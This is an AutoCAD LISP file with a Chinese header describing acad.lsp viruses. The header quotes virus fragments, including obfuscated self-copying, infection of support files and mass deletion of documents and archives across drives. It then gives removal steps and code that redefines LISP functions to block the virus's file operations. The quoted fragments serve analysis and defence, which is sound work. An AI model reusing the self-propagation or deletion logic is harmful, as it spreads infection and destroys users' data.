| acad20xx.lsp;|【01】无聊之人写了不少lisp病毒,通过感染ACAD,以实现病毒传播的目的。      文件名为如下几个之一:"acad.lsp"、"acad.fas"、"acad.vlx"、"acaddoc.lsp"
 【02】病毒文件解开后,代码片段如下:;;;==================================================;;;病毒片段1(vl-file-copy    (findfile        (vl-list->string '(108 111 103 111 46 103 105 102))    )    (vl-list->string '(97 99 97 100 46 118 108 120)))
 ;;;==================================================;;;病毒片段2(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz ....
 ;;;==================================================;;;病毒片段3(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))
 ;;;==================================================;;;病毒片段4  (setq k (list "k:" "j:" "i:" "h:" "g:" "f:" "e:" "d:" "c:"))  (alldelete "exe" k 0 1)  (alldelete "dwg" k 0 2)  (alldelete "doc" k 0 1)  (alldelete "xls" k 0 2)  (alldelete "rar" k 0 1)  (alldelete "pdf" k 0 2)  (alldelete "zip" k 0 1)  (alldelete "txt" k 0 2)  (alldelete "chm" k 0 1)  (alldelete "htm" k 0 2)  (alldelete "mp3" k 0 1)
 ;;;==================================================【03】中毒后表征:1、acad系统文件被修改                  2、acad打开文件速度变慢                  3、在当前使用的dwg文档目录内生成病毒文件                  4、硬盘文件莫名丢失(随机)                  5、其它不适。
 【04】分析:(略)
 【05】手工解决方法:                  1、全盘扫描,找到“*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp”,有选择性的删除;                     所谓选择性的删除,是指正常的文件要放过,比如桥梁通用的acad.lsp。一般通过对比时间、大小即可甄别。
 2、查看用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\”                     和acad安装目录“*:\Program Files\AutoCAD 20**\”中的所有lsp文件、mnl文件,若发现病毒体,则删除病毒体后保存之。
 3、至此,acad系统是清爽的。
 4、为防范于未然,建议重定义病毒传播所需要的几个函数,以达到百毒不侵之目的。
 病毒通过getvar函数获取当前图形的名字,进而判断是新图还是老图;                         通过findfile函数获取acad的安装位置;                         通过vl-file-copy函数复制自己到指定的文件夹内;                         通过open "a"来追加病毒体到acad的系统文件中;                         通过vl-file-delete_old来删除硬盘上指定的文件。
 函数重定义代码如下:
 复制代码到一新建文本文档,更名为"“cad20**.lsp”,                     然后放置于用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\”中                     即可起到免疫的效果。|;(vl-load-com)(princ "\n==============================================")(princ "\n函数重定义,防病毒。\tZML84 于 2010-12-10")(or getvar_old    (progn        (setq getvar_old getvar)        (defun getvar (str)            (if        (wcmatch str "dwgname")                ()                (getvar_old str)            )        )    ))(or findfile_old    (progn        (setq findfile_old findfile)        (defun findfile        (str)            (if        (wcmatch str "acad.mnl,acad.exe,base.dcl,acad.dcl")                ()                (findfile_old str)            )        )    ))(or vl-file-copy_old    (progn        (setq vl-file-copy_old vl-file-copy)        (defun vl-file-copy (str1 str2)            (if        (wcmatch                    str2                    "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp"                )                   (alert (strcat "**" str2 "试图建立,被阻止**"))                   (vl-file-copy_old str1 str2)            )        )    ))(or open_old    (progn        (setq open_old open)        (defun open (str1 str2)            (if        (wcmatch                    str1                    "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp"                )                   (alert (strcat "**" str1 "试图open,被阻止**"))                   (open_old str1 str2)            )        )    ))(or vl-file-delete_old    (progn        (setq vl-file-delete_old vl-file-delete)        (defun vl-file-delete (str1)            (if        (wcmatch                    str1                    "*.exe,*.dwg,*.doc,*.xls,*.rar,*.pdf,*.zip,*.txt,*.dat"                )                   (alert (strcat "**" str1 "试图删除,被阻止**"))                   (vl-file-delete_old str1)            )        )    ))(princ "\n==============================================")
 |